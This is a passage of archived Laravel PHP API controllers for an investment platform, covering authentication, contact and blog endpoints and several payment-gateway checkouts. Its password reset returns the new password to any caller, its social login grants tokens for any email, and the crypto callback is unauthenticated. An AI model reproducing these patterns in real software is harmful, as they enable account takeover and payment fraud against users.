$this->ps->side_text; $data['address'] = $this->ps->street; $data['phone'] = $this->ps->phone; $data['email'] = $this->ps->email; return response()->json(['status' => true, 'data' => $data, 'error' => []]); } public function contact(Request $request) { try { $gs = Generalsetting::findOrFail(1); $subject = $request->subject; $to = $this->ps->contact_email; $name = $request->name; $phone = $request->phone; $from = $request->email; $msg = "Name: ".$name."\Phone: ".$phone."\nEmail: ".$from."\nMessage: ".$request->message; if($gs->is_smtp) { $data = [ 'to' => $to, 'subject' => $subject, 'body' => $msg, ]; $mailer = new GeniusMailer(); $mailer->sendCustomMail($data); } else { $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } return response()->json(['status' => true, 'data' => ['message' => 'Email Sent Successfully!'], 'error' => []]); } catch (\Throwable $th) { return response()->json(['status' => true, 'data' => [], 'error' => ['message' => $th->getMessage()]]); } } } Controllers/Api/Front/BlogController.php 0000644 00000003473 15111246740 0014323 0 ustar 00 <?php namespace App\Http\Controllers\Api\Front; use App\Http\Controllers\Controller; use App\Http\Resources\BlogResource; use App\Models\Blog; use App\Models\BlogCategory; use Illuminate\Http\Request; class BlogController extends Controller { public function blogs(){ try{ $blogs = Blog::all(); return response()->json(['status' => true, 'data' => BlogResource::collection($blogs), 'error' => []]); } catch(\Exception $e){ return response()->json(['status' => true, 'data' => [], 'error' => ['message' => $e->getMessage()]]); } } public function recentBlogs(){ try{ $blogs = Blog::orderBy('id','desc')->orderBy('id','desc')->limit(3)->get(); return response()->json(['status' => true, 'data' => BlogResource::collection($blogs), 'error' => []]); } catch(\Exception $e){ return response()->json(['status' => true, 'data' => [], 'error' => ['message' => $e->getMessage()]]); } } public function blogDetails($slug){ try{ $blog = Blog::whereSlug($slug) ->whereStatus(1) ->first(); return response()->json(['status' => true, 'data' => new BlogResource($blog), 'error' => []]); } catch(\Exception $e){ return response()->json(['status' => true, 'data' => [], 'error' => ['message' => $e->getMessage()]]); } } public function blogCategory(){ try{ $categories = BlogCategory::all(); return response()->json(['status' => true, 'data' => $categories, 'error' => []]); } catch(\Exception $e){ return response()->json(['status' => true, 'data' => [], 'error' => ['message' => $e->getMessage()]]); } } } Controllers/Api/Auth/AuthController.php 0000644 00000021110 15111246741 0014137 0 ustar 00 <?php namespace App\Http\Controllers\Api\Auth; use JWTAuth; use Validator; use App\Models\User; use Illuminate\Support\Str; use Illuminate\Http\Request; use App\Classes\GeniusMailer; use App\Models\Generalsetting; use App\Http\Controllers\Controller; use App\Http\Resources\UserResource; use Illuminate\Support\Facades\Hash; class AuthController extends Controller { public function __construct() { $this->middleware('auth:api', ['except' => ['login', 'register', 'logout','social_login','forgot','forgot_submit']]); $this->middleware('setapi'); } public function register(Request $request) { try{ $rules = [ 'name' => 'required', 'email' => 'required|email|unique:users', 'username' => 'required', 'phone' => 'required', 'password' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(['status' => false, 'data' => [], 'error' => $validator->errors()]); } $gs = Generalsetting::first(); $user = new User; $user->name = $request->name; $user->username = $request->username; $user->email = $request->email; $user->phone = $request->phone; $token = md5(time().$request->name.$request->email); $user->password = bcrypt($request->password); if($gs->is_verification_email == 0) { $user->email_verified = 'Yes'; }else{ $to = $request->email; $subject = 'Verify your email address.'; $msg = "Dear Customer,<br> We noticed that you need to verify your email address. <a href=".url('user/register/verify/'.$token).">Simply click here to verify. </a>"; if($gs->is_smtp == 1) { $data = [ 'to' => $to, 'subject' => $subject, 'body' => $msg, ]; $mailer = new GeniusMailer(); $mailer->sendCustomMail($data); } else { $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } } $user->save(); $token = auth()->login($user); return response()->json(['status' => true, 'data' => ['token' => $token, 'user' => new UserResource($user)], 'error' => []]); } catch(\Exception $e){ return response()->json(['status' => true, 'data' => [], 'error' => ['message' => $e->getMessage()]]); } } public function login(Request $request) { try{ $rules = [ 'email' => 'required', 'password' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(['status' => false, 'data' => [], 'error' => $validator->errors()]); } $credentials = request(['email', 'password']); if (! $token = auth()->attempt($credentials)) { return response()->json(['status' => false, 'data' => [], 'error' => ["message" => "Email / password didn't match."]]); } if(auth()->user()->email_verified == 'No') { auth()->logout(); return response()->json(['status' => false, 'data' => [], 'error' => ["message" => 'Your Email is not Verified!']]); } if(auth()->user()->is_banned == 1) { auth()->logout(); return response()->json(['status' => false, 'data' => [], 'error' => ["message" => 'Your Account Has Been Banned.']]); } return response()->json(['status' => true, 'data' => ['token' => $token, 'user' => new UserResource(auth()->user())], 'error' => []]); } catch(\Exception $e){ return response()->json(['status' => true, 'data' => [], 'error' => ['message' => $e->getMessage()]]); } } public function social_login(Request $request) { try{ $rules = [ 'name' => 'required', 'email' => 'required' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(['status' => false, 'data' => [], 'error' => $validator->errors()]); } $user = User::where('email','=',$request->email)->first(); if(!$user){ $rules = [ 'email' => 'email|unique:users' ]; $validator = Validator::make($request->all(), $rules); if ($validator->fails()) { return response()->json(['status' => false, 'data' => [], 'error' => $validator->errors()]); } $user = new User; $user->name = $request->name; $user->email = $request->email; $user->email_verified = 'Yes'; $user->save(); $token = auth()->login($user); return response()->json(['status' => true, 'data' => ['token' => $token], 'error' => []]); } $userToken = JWTAuth::fromUser($user); if($user->email_verified == 'No') { return response()->json(['status' => false, 'data' => [], 'error' => ["message" => 'Your Email is not Verified!']]); } if($user->ban == 1) { return response()->json(['status' => false, 'data' => [], 'error' => ["message" => 'Your Account Has Been Banned.']]); } auth()->login($user); return response()->json(['status' => true, 'data' => ['token' => $userToken, 'user' => auth()->user()], 'error' => []]); } catch(\Exception $e){ return response()->json(['status' => true, 'data' => [], 'error' => ['message' => $e->getMessage()]]); } } public function details() { try{ return response()->json(['status' => true, 'data' => new UserResource(auth()->user()), 'error' => []]); } catch(\Exception $e){ return response()->json(['status' => true, 'data' => [], 'error' => ['message' => $e->getMessage()]]); } } public function logout() { auth()->logout(); return response()->json(['status' => true, 'data' => ['message' => 'Successfully logged out.'], 'error' => []]); } public function sendVerificationCode(Request $request) { $gs = Generalsetting::first(); } public function refresh() { return $this->respondWithToken(auth()->refresh()); } protected function respondWithToken($token) { return response()->json([ 'access_token' => $token, 'token_type' => 'bearer', 'expires_in' => auth()->factory()->getTTL() * 300 ]); } public function reset_password(Request $request){ $gs = Generalsetting::findOrFail(1); $user = User::where('email',$request->email)->first(); if($user){ $token = Str::random(6); $subject = "Reset Password Request"; $msg = "Your Forgot Password Token: ".$token; $user->password = bcrypt($token); $user->update(); if($gs->is_smtp == 1) { $data = [ 'to' => $request->email, 'subject' => $subject, 'body' => $msg, ]; $mailer = new GeniusMailer(); $mailer->sendCustomMail($data); } else { $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($request->email,$subject,$msg,$headers); } return response()->json(['status' => true, 'data' => ['user_id' => $user->id,'new_password' => $token], 'error' => []]); }else{ return response()->json(['status' => false, 'data' => [], 'error' => 'Account not found']); } } public function change_password(Request $request){ if($request->new_password != $request->confirm_password){ return response()->json(['status' => false, 'data' => [], 'error' => 'New password & confirm password not match']); } $user = User::where('id',$request->user_id)->where('reset_token',$request->reset_token)->first(); if($user){ $password = Hash::make($request->new_password); $user->password = $password; $user->reset_token = null; $user->update(); return response()->json(['status' => true, 'data' => ['message' => 'Password Changed Successfully'], 'error' => []]); }else{ return response()->json(['status' => false, 'data' => [], 'error' => 'Something is wrong']); } } } Controllers/Api/Checkout/RazorpayController.php 0000644 00000012173 15111246741 0015722 0 ustar 00 <?php namespace App\Http\Controllers\Api\Checkout; use App\Http\Controllers\Controller; use App\Models\Generalsetting; use App\Models\Invest; use App\Models\PaymentGateway; use App\Repositories\OrderRepository; use Illuminate\Http\Request; use Razorpay\Api\Api; use Illuminate\Support\Facades\Session; class RazorpayController extends Controller { public $orderRepositorty; public function __construct(OrderRepository $orderRepositorty) { $data = PaymentGateway::whereKeyword('razorpay')->first(); $paydata = $data->convertAutoData(); $this->keyId = $paydata['key']; $this->keySecret = $paydata['secret']; $this->displayCurrency = 'INR'; $this->api = new Api($this->keyId, $this->keySecret); $this->orderRepositorty = $orderRepositorty; } public function store(Request $request) { if($request->currency_code != "INR") { return redirect()->back()->with('unsuccess','Please Select INR Currency For Rezorpay.'); } $settings = Generalsetting::findOrFail(1); $invest = Invest::findOrFail($request->invest_id); $item_name = $settings->title." Invest"; $order['item_name'] = $item_name; $order['item_number'] = $invest->transaction_no; $order['item_amount'] = round($request->amount,2); $cancel_url = route('api.checkout.razorpay.cancel'); $notify_url = route('api.checkout.razorpay.notify'); $orderData = [ 'receipt' => $order['item_number'], 'amount' => $order['item_amount'] * 100, 'currency' => 'INR', 'payment_capture' => 1 ]; $razorpayOrder = $this->api->order->create($orderData); $input['user_id'] = $request->user_id; Session::put('method',$request->method); Session::put('invest_id',$request->invest_id); Session::put('order_data',$order); Session::put('order_payment_id', $razorpayOrder['id']); $displayAmount = $amount = $orderData['amount']; if ($this->displayCurrency !== 'INR') { $url = "https://api.fixer.io/latest?symbols=$this->displayCurrency&base=INR"; $exchange = json_decode(file_get_contents($url), true); $displayAmount = $exchange['rates'][$this->displayCurrency] * $amount / 100; } $checkout = 'automatic'; if (isset($_GET['checkout']) and in_array($_GET['checkout'], ['automatic', 'manual'], true)) { $checkout = $_GET['checkout']; } $data = [ "key" => $this->keyId, "amount" => $amount, "name" => $order['item_name'], "description" => $order['item_name'], "prefill" => [ "name" => $request->customer_name, "email" => $request->customer_email, "contact" => $request->customer_phone, ], "notes" => [ "address" => $request->customer_address, "merchant_order_id" => $order['item_number'], ], "theme" => [ "color" => "{{$settings->colors}}" ], "order_id" => $razorpayOrder['id'], ]; if ($this->displayCurrency !== 'INR') { $data['display_currency'] = $this->displayCurrency; $data['display_amount'] = $displayAmount; } $json = json_encode($data); $displayCurrency = $this->displayCurrency; return view( 'frontend.razorpay-checkout', compact( 'data','displayCurrency','json','notify_url' ) ); } public function notify(Request $request) { $input_data = $request->all(); $payment_id = Session::get('order_payment_id'); $input = Session::get('request_data'); $success = true; if (empty($input_data['razorpay_payment_id']) === false) { try { $attributes = array( 'razorpay_order_id' => $payment_id, 'razorpay_payment_id' => $input_data['razorpay_payment_id'], 'razorpay_signature' => $input_data['razorpay_signature'] ); $this->api->utility->verifyPaymentSignature($attributes); } catch(SignatureVerificationError $e) { $success = false; } } $method = Session::get('method'); $invest_id = Session::get('invest_id'); if ($success === true){ $invest = Invest::findOrFail($invest_id); $addionalData = ['txnid' => $payment_id, 'status'=>'running','method'=>$method]; $this->orderRepositorty->apiOrder($request,$invest,$addionalData); return redirect()->route('api.user.invest.checkout',$invest->id)->with('message','Invest successfully complete.'); } return redirect()->route('api.user.invest.checkout',$invest->id)->with('warning','Payment Cancelled!'); } } Controllers/Api/Checkout/BlockIoController.php 0000644 00000013275 15111246741 0015441 0 ustar 00 <?php namespace App\Http\Controllers\Api\Checkout; use App; use URL; use Auth; use Hash; use Config; use Session; use Redirect; use Validator; use Carbon\Carbon; use App\Models\User; use App\Models\Order; use App\Classes\BlockIO; use App\Models\Transaction; use App\Models\Notification; use Illuminate\Http\Request; use App\Classes\GeniusMailer; use App\Models\Generalsetting; use App\Classes\CoinPaymentsAPI; use App\Models\UserNotification; use App\Http\Controllers\Controller; use App\Models\Currency; use App\Models\Invest; use Illuminate\Support\Facades\Input; use App\Models\PaymentGateway; use App\Models\Plan; use Illuminate\Support\Carbon as IlluminateCarbon; use Illuminate\Support\Facades\Session as FacadesSession; use Illuminate\Support\Str; class BlockIoController extends Controller { public function blockioInvest() { return view('user.invest.blockio'); } public function blockiocallback(Request $request) { $notifyID = $request['notification_id']; $amountRec = $request['data']['amount_received']; if (Invest::where('notify_id',$notifyID)->exists()){ $order = Invest::where('notify_id',$notifyID)->where('payment_status','pending')->first(); $data['txnid'] = $request['data']['txid']; $data['payment_status'] = "completed"; $order->update($data); $trans = new Transaction(); $trans->email = auth()->user()->email; $trans->amount = $order->amount; $trans->type = "Invest"; $trans->txnid = $order->transaction_no; $trans->user_id = $order->user_id; $trans->save(); $gs = Generalsetting::findOrFail(1); $user = User::whereId($order->user_id)->first(); if($gs->is_smtp == 1) { $data = [ 'to' => $user->email, 'type' => "Invest", 'cname' => $user->name, 'oamount' => $order->amount, 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $order->customer_email; $subject = " You have invested successfully."; $msg = "Hello ".$order->customer_name."!\nYou have invested successfully.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } } } function curlGetCall($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HTTPGET, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $data = curl_exec ($ch); curl_close ($ch); return $data; } public function deposit(Request $request) { $invest = Invest::findOrFail($request->invest_id); $user = User::findOrFail($invest->user_id); if($request->amount > 0){ $methods = $request->method; $version = 2; $coin = "BTC"; $my_api_key = ''; if($methods == "block.io.ltc"){ $blockinfo = PaymentGateway::whereKeyword('block.io.ltc')->first(); $blocksettings= $blockinfo->convertAutoData(); $coin = "Litecoin"; $my_api_key = $blocksettings['blockio_api_ltc']; }elseif($methods == "block.io.btc"){ $blockinfo = PaymentGateway::whereKeyword('block.io.btc')->first(); $blocksettings= $blockinfo->convertAutoData(); $coin = "Bitcoin"; $my_api_key = $blocksettings['blockio_api_btc']; }elseif ($methods == "block.io.dgc"){ $coin = "Dogecoin"; $blockinfo = PaymentGateway::whereKeyword('block.io.dgc')->first(); $blocksettings= $blockinfo->convertAutoData(); $my_api_key = $blocksettings['blockio_api_dgc']; } $acc = Auth::user()->id; $item_number = $invest->transaction_no; $item_amount = $request->amount; $currency_code = $request->currency_code; $secret = $blocksettings['secret_string']; $my_callback_url = route('api.checkout.blockio.notify'); $block_io = new BlockIO($my_api_key, $secret, $version); $biorate = 1; $coin_amount = round($item_amount / $biorate, 8); $root_url = 'https://block.io/api/v2/'; $addObject = $block_io->get_new_address(array()); $address = $addObject->data->address; $notifyObject = $block_io->create_notification(array('type' => 'address', 'address' => $address, 'url' => $my_callback_url)); $notifyID = $notifyObject->data->notification_id; $invest->method = $request->method; $invest->coin_amount = $coin_amount; $invest->notify_id = $notifyID; $invest->update(); $qrcode_url = "https://chart.googleapis.com/chart?chs=250x250&cht=qr&chl=bitcoin:".$address."?amount=".$coin_amount."&choe=UTF-8"; return redirect()->route('api.user.invest.checkout',$invest->id)->with('success',['address' => $address,'qrcode_url' => $qrcode_url,]); } return redirect()->route('api.user.invest.checkout',$invest->id)->with('error','Please enter a valid amount.')->withInput(); } } Controllers/Api/Checkout/ManualController.php 0000644 00000015644 15111246741 0015336 0 ustar 00 <?php namespace App\Http\Controllers\Api\Checkout; use App\Http\Controllers\Controller; use App\Models\Generalsetting; use PHPMailer\PHPMailer\PHPMailer; use App\Models\Invest; use App\Models\User; use App\Repositories\OrderRepository; use Illuminate\Http\Request; class ManualController extends Controller { public $gs; public function __construct(OrderRepository $orderRepositorty) { $this->gs = Generalsetting::findOrFail(1); $this->orderRepositorty = $orderRepositorty; } public function store(Request $request){ $invest_id = $request->invest_id; $invest = Invest::findOrFail($invest_id); $this->orderRepositorty->apiOrder($request,$invest); $user = User::whereId($invest->user_id)->first(); $to = $user->email; $subject = 'Your Investment is Being Processed'; $msg = '<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Your Investment is Being Processed</title> <style> body { margin: 0; padding: 0; font-family: "Arial", sans-serif; background-color: #f7f7f7; } .email-wrapper { width: 100%; background-color: #f7f7f7; padding: 20px 0; } .email-content { width: 100%; max-width: 600px; background-color: #ffffff; border-radius: 8px; margin: 0 auto; box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); } .email-header { background-color: #003366; padding: 20px; text-align: center; border-radius: 8px 8px 0 0; } .email-header img { max-width: 200px; } .email-header span { font-size: 18px; font-weight: 600; color: #00BFFF; display: block; margin-top: 10px; } .email-body { padding: 16px 30px; font-size: 16px; line-height: 1.5; color: #333; } .email-body h3 { color: #003366; margin-bottom: 15px; } .email-body p { margin-bottom: 20px; } .email-button { display: inline-block; background-color: #003366; color: #ffffff !important; padding: 6px 12px; font-size: 16px; border-radius: 5px; text-decoration: none; } .email-footer { background-color: #1f1f1f; color: #ffffff; text-align: center; padding: 12px; border-radius: 0 0 8px 8px; font-size: 14px; } .email-footer a { color: #00BFFF; text-decoration: none; } </style> </head> <body> <div class="email-wrapper"> <div class="email-content"> <div class="email-header"> <img src="https://fluxeassets.com/imgx/etemp.png" alt="Fluxe Assets Logo"> <span>Guiding You Toward Financial Growth</span> </div> <div class="email-body"> <p>Dear <strong>'.$user->name.'</strong>,</p> <p>Thank you for choosing an investment plan with <strong>Fluxe Assets</strong>.</p> <p>Your investment is currently being processed. Once confirmed, profits will begin accruing based on your selected plan.</p> <p>You can view your investment status and details anytime in your dashboard:</p> <a href="https://fluxeassets.com/user/login" class="email-button" target="_blank">Access Your Dashboard</a> <p style="margin-top: 30px;">Thank you for your trust in us.<br>The Fluxe Assets Team</p> </div> <div class="email-footer"> <p>Copyright © 2025 <a href="https://fluxeassets.com">Fluxe Assets</a>. All rights reserved.</p> </div> </div> </div> </body> </html>'; if($this->gs->is_smtp == 1) { $mail = new PHPMailer(true); try { $mail->isSMTP(); $mail->Host = $this->gs->smtp_host; $mail->SMTPAuth = true; $mail->Username = $this->gs->smtp_user; $mail->Password = $this->gs->smtp_pass; if ($this->gs->smtp_encryption == 'ssl') { $mail->SMTPSecure = PHPMailer::ENCRYPTION_SMTPS; } else { $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; } $mail->Port = $this->gs->smtp_port; $mail->CharSet = 'UTF-8'; $mail->setFrom($this->gs->from_email, $this->gs->from_name); $mail->addAddress($user->email, $user->name); $mail->addReplyTo($this->gs->from_email, $this->gs->from_name); $mail->isHTML(true); $mail->Subject = $subject; $mail->Body = $msg; $mail->send(); } catch (Exception $e) { } } else { $headers = "From: ".$this->gs->from_name."<".$this->gs->from_email.">"; mail($to,$subject,$msg,$headers); } return redirect()->back()->with('message','Invest successfully complete.'); } } Controllers/Api/Checkout/MollieController.php 0000644 00000006306 15111246741 0015335 0 ustar 00 <?php namespace App\Http\Controllers\Api\Checkout; use App\Http\Controllers\Controller; use App\Models\Invest; use Session; use Auth; use Str; use Illuminate\Http\Request; use Mollie\Laravel\Facades\Mollie; use App\Repositories\OrderRepository; class MollieController extends Controller { public $orderRepositorty; public function __construct(OrderRepository $orderRepositorty) { $this->orderRepositorty = $orderRepositorty; } public function store(Request $request){ $invest = Invest::findOrFail($request->invest_id); $support = [ 'AED', 'AUD', 'BGN', 'BRL', 'CAD', 'CHF', 'CZK', 'DKK', 'EUR', 'GBP', 'HKD', 'HRK', 'HUF', 'ILS', 'ISK', 'JPY', 'MXN', 'MYR', 'NOK', 'NZD', 'PHP', 'PLN', 'RON', 'RUB', 'SEK', 'SGD', 'THB', 'TWD', 'USD', 'ZAR' ]; if(!in_array($request->currency_code,$support)){ return redirect()->route('api.user.invest.checkout',$invest->id)->with('warning','Please Select USD Or EUR Currency For Paypal.'); } $item_amount = $request->amount; $input = $request->all(); $item_name = "Deposit via Molly Payment"; $payment = Mollie::api()->payments()->create([ 'amount' => [ 'currency' => $request->currency_code, 'value' => ''.sprintf('%0.2f', $item_amount).'', ], 'description' => $item_name , 'redirectUrl' => route('api.checkout.molly.notify'), ]); Session::put('method',$request->method); Session::put('invest_id',$request->invest_id); Session::put('molly_data',$input); Session::put('payment_id',$payment->id); $payment = Mollie::api()->payments()->get($payment->id); return redirect($payment->getCheckoutUrl(), 303); } public function notify(Request $request){ $input = Session::get('molly_data'); $item_number = Str::random(4).time(); $payment = Mollie::api()->payments()->get(Session::get('payment_id')); dd($payment); $method = Session::get('method'); $invest_id = Session::get('invest_id'); $invest = Invest::findOrFail($invest_id); if($payment->status == 'paid'){ $addionalData = ['status'=>'running','method'=>$method]; $this->orderRepositorty->apiOrder($request,$invest,$addionalData); Session::forget('molly_data'); Session::forget('method'); Session::forget('invest_id'); return redirect()->route('api.user.invest.checkout',$invest->id)->with('message','Invest successfully complete.'); } else { return redirect()->route('api.user.invest.checkout',$invest->id)->with('warning','Something went wrong!'); } return redirect()->route('api.user.invest.checkout',$invest->id)->with('warning','Something went wrong!'); } } Controllers/Api/Checkout/CoinPaymentController.php 0000644 00000015372 15111246741 0016345 0 ustar 00 <?php namespace App\Http\Controllers\Api\Checkout; use App\Http\Controllers\Controller; use App\Classes\CoinPaymentsAPI; use App\Models\Currency; use App\Models\Generalsetting; use App\Models\Invest; use App\Models\PaymentGateway; use App\Models\Plan; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Support\Carbon; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Str; class CoinPaymentController extends Controller { public function blockInvest() { return view('user.coinpay'); } public function coinCallback(Request $request) { Session::put('check_txn',$request->all()); $blockinfo = PaymentGateway::whereKeyword('coinPayment')->first(); $blocksettings= $blockinfo->convertAutoData(); $real_secret = $blocksettings['secret_string']; $trans_id = $request->custom; $status = $request->status; $amount2 = floatval($request->amount2); $currency2 = $request->currency2; $getSec = Input::get('secret'); if ($real_secret == $getSec){ if (Order::where('order_number',$trans_id)->exists()){ $order = Order::where('order_number',$trans_id)->where('payment_status','pending')->first(); if ($status >= 100 || $status == 2) { if ($currency2 == "BTC" && $order->coin_amount <= $amount2) { $data['payment_status'] = "completed"; $order->update($data); $notification = new Notification; $notification->order_id = $order->id; $notification->save(); $trans = new Transaction; $trans->email = $order->customer_email; $trans->amount = $order->invest; $trans->type = "Invest"; $trans->txnid = $order->order_number; $trans->user_id = $order->user_id; $trans->save(); $notf = new UserNotification; $notf->user_id = $order->user_id; $notf->order_id = $order->id; $notf->type = "Invest"; $notf->save(); $gs = Generalsetting::findOrFail(1); if($gs->is_affilate == 1) { $user = User::find($order->user_id); if ($user->referral_id != 0) { $val = $order->invest / 100; $sub = $val * $gs->affilate_charge; $sub = round($sub,2); $ref = User::find($user->referral_id); if(isset($ref)) { $ref->income += $sub; $ref->update(); $trans = new Transaction; $trans->email = $ref->email; $trans->amount = $sub; $trans->type = "Referral Bonus"; $trans->txnid = $order->order_number; $trans->user_id = $ref->id; $trans->save(); } } } if($gs->is_smtp == 1) { $data = [ 'to' => $order->customer_email, 'type' => "Invest", 'cname' => $order->customer_name, 'oamount' => $order->order_number, 'aname' => "", 'aemail' => "", 'wtitle' => "", ]; $mailer = new GeniusMailer(); $mailer->sendAutoMail($data); } else { $to = $order->customer_email; $subject = " You have invested successfully."; $msg = "Hello ".$order->customer_name."!\nYou have invested successfully.\nThank you."; $headers = "From: ".$gs->from_name."<".$gs->from_email.">"; mail($to,$subject,$msg,$headers); } } } } } } public function deposit(Request $request) { $invest = Invest::findOrFail($request->invest_id); $user = User::findOrFail($invest->user_id); $generalsettings = Generalsetting::findOrFail(1); $blockinfo = PaymentGateway::whereKeyword('coinPayment')->first(); $blocksettings= $blockinfo->convertAutoData(); if($request->amount > 0){ $acc =$user; $item_number = $invest->transaction_no; $item_amount = $request->amount; $currency_code = $request->currency_code; $public_key =$blocksettings['public_key']; $private_key = $blocksettings['private_key']; $req['version'] = 1; $req['cmd'] = "get_callback_address"; $req['currency'] = $request->currency_code; $req['ipn_url'] = route('api.checkout.coinpay.notify'); $req['key'] = $public_key; $req['format'] = 'json'; $post_data = http_build_query($req, '', '&'); $hmac = hash_hmac('sha512', $post_data, $private_key); $ch = curl_init('https://www.coinpayments.net/api.php'); curl_setopt($ch, CURLOPT_FAILONERROR, TRUE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_HTTPHEADER, array('HMAC: '.$hmac)); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); $data = json_decode(curl_exec($ch)); $invest->method = $request->method; $invest->notify_id = $data->result->address; $invest->update(); return redirect()->route('api.user.invest.checkout',$invest->id)->with('success',$data->result->address); }else { return redirect()->route('api.user.invest.checkout',$invest->id)->with('unsuccess', 'Something went wrong'); } } } Controllers/Api/Checkout/PaypalController.php 0000644 00000012017 15111246741 0015336 0 ustar 00 <?php namespace App\Http\Controllers\Api\Checkout; use App\Http\Controllers\Controller; use App\Models\Generalsetting; use App\Models\Invest; use App\Models\PaymentGateway; use PayPal\{ Api\Item, Api\Payer, Api\Amount, Api\Payment, Api\ItemList, Rest\ApiContext, Api\Transaction, Api\RedirectUrls, Api\PaymentExecution, Auth\OAuthTokenCredential }; use Illuminate\Support\Facades\Redirect; use Illuminate\Support\Facades\Session; use App\Repositories\OrderRepository; use Illuminate\Http\Request; class PaypalController extends Controller { private $_api_context; public $orderRepositorty; public function __construct(OrderRepository $orderRepositorty) { $data = PaymentGateway::whereKeyword('paypal')->first(); $paydata = $data->convertAutoData(); $paypal_conf = \Config::get('paypal'); $paypal_conf['client_id'] = $paydata['client_id']; $paypal_conf['secret'] = $paydata['client_secret']; $paypal_conf['settings']['mode'] = $paydata['sandbox_check'] == 1 ? 'sandbox' : 'live'; $this->_api_context = new ApiContext(new OAuthTokenCredential( $paypal_conf['client_id'], $paypal_conf['secret']) ); $this->_api_context->setConfig($paypal_conf['settings']); $this->orderRepositorty = $orderRepositorty; } public function store(Request $request){ $cancel_url = route('api.checkout.paypal.cancel'); $notify_url = route('api.checkout.paypal.notify'); $gs = Generalsetting::findOrFail(1); $item_name = $gs->title." Invest"; $item_amount = $request->amount; $invest = Invest::findOrFail($request->invest_id); $support = ['USD','EUR']; if(!in_array($request->currency_code,$support)){ return redirect()->back()->with('warning','Please Select USD Or EUR Currency For Paypal.'); } $payer = new Payer(); $payer->setPaymentMethod('paypal'); $item_1 = new Item(); $item_1->setName($item_name) ->setCurrency('USD') ->setQuantity(1) ->setPrice($item_amount); $item_list = new ItemList(); $item_list->setItems(array($item_1)); $amount = new Amount(); $amount->setCurrency('USD') ->setTotal($item_amount); $transaction = new Transaction(); $transaction->setAmount($amount) ->setItemList($item_list) ->setDescription($item_name.' Via Paypal'); $redirect_urls = new RedirectUrls(); $redirect_urls->setReturnUrl($notify_url) ->setCancelUrl($cancel_url); $payment = new Payment(); $payment->setIntent('Sale') ->setPayer($payer) ->setRedirectUrls($redirect_urls) ->setTransactions(array($transaction)); try { $payment->create($this->_api_context); } catch (\PayPal\Exception\PPConnectionException $ex) { return redirect()->back()->with('unsuccess',$ex->getMessage()); } foreach ($payment->getLinks() as $link) { if ($link->getRel() == 'approval_url') { $redirect_url = $link->getHref(); break; } } Session::put('method',$request->method); Session::put('invest_id',$request->invest_id); Session::put('paypal_payment_id', $payment->getId()); if (isset($redirect_url)) { return Redirect::away($redirect_url); } return redirect()->back()->with('unsuccess','Unknown error occurred'); if (isset($redirect_url)) { return Redirect::away($redirect_url); } return redirect()->back()->with('unsuccess','Unknown error occurred'); } public function notify(Request $request) { $payment_id = Session::get('paypal_payment_id'); if (empty( $request['PayerID']) || empty( $request['token'])) { return redirect()->back()->with('error', 'Payment Failed'); } $payment = Payment::get($request->paymentId, $this->_api_context); $execution = new PaymentExecution(); $execution->setPayerId($request['PayerID']); $method = Session::get('method'); $invest_id = Session::get('invest_id'); $result = $payment->execute($execution, $this->_api_context); if ($result->getState() == 'approved') { $resp = json_decode($payment, true); $addionalData = ['charge_id'=>$resp['transactions'][0]['related_resources'][0]['sale']['id'],'status'=>'running','method'=>$method]; $invest = Invest::findOrFail($invest_id); $this->orderRepositorty->apiOrder($request,$invest,$addionalData); Session::forget('method'); Session::forget('invest_id'); Session::forget('paypal_payment_id'); return redirect()->route('api.user.invest.checkout',$invest->id)->with('message','Invest successfully complete.'); } } public function cancel(){ return back(); } } Controllers/Api/Checkout/AuthorizeController.php 0000644 00000011067 15111246741 0016066 0 ustar 00 <?php namespace App\Http\Controllers\Api\Checkout; use App\Http\Controllers\Controller; use Illuminate\Support\Str; use Illuminate\Http\Request; use App\Models\PaymentGateway; use App\Models\Generalsetting; use App\Models\Invest; use App\Repositories\OrderRepository; use Illuminate\Support\Facades\Validator; use net\authorize\api\contract\v1 as AnetAPI; use net\authorize\api\controller as AnetController; class AuthorizeController extends Controller { public $orderRepositorty; public function __construct(OrderRepository $orderRepositorty) { $this->orderRepositorty = $orderRepositorty; } public function store(Request $request){ $support = ['USD']; if(!in_array($request->currency_code,$support)){ return redirect()->back()->with('warning','Please Select USD Currency For Authorize.'); } $settings = Generalsetting::find(1); $authorizeinfo = PaymentGateway::whereKeyword('authorize.net')->first(); $authorizesettings= $authorizeinfo->convertAutoData(); $invest = Invest::findOrFail($request->invest_id); $item_name = $settings->title." Order"; $item_number = $invest->transaction_no; $item_amount = $request->amount; $validator = Validator::make($request->all(),[ 'cardNumber' => 'required', 'cardCVC' => 'required', 'month' => 'required', 'year' => 'required', ]); if ($validator->passes()) { $merchantAuthentication = new AnetAPI\MerchantAuthenticationType(); $merchantAuthentication->setName($authorizesettings['login_id']); $merchantAuthentication->setTransactionKey($authorizesettings['txn_key']); $refId = 'ref' . time(); $creditCard = new AnetAPI\CreditCardType(); $creditCard->setCardNumber(str_replace(' ','',$request->cardNumber)); $year = $request->year; $month = $request->month; $creditCard->setExpirationDate($year.'-'.$month); $creditCard->setCardCode($request->cardCVC); $paymentOne = new AnetAPI\PaymentType(); $paymentOne->setCreditCard($creditCard); $orderr = new AnetAPI\OrderType(); 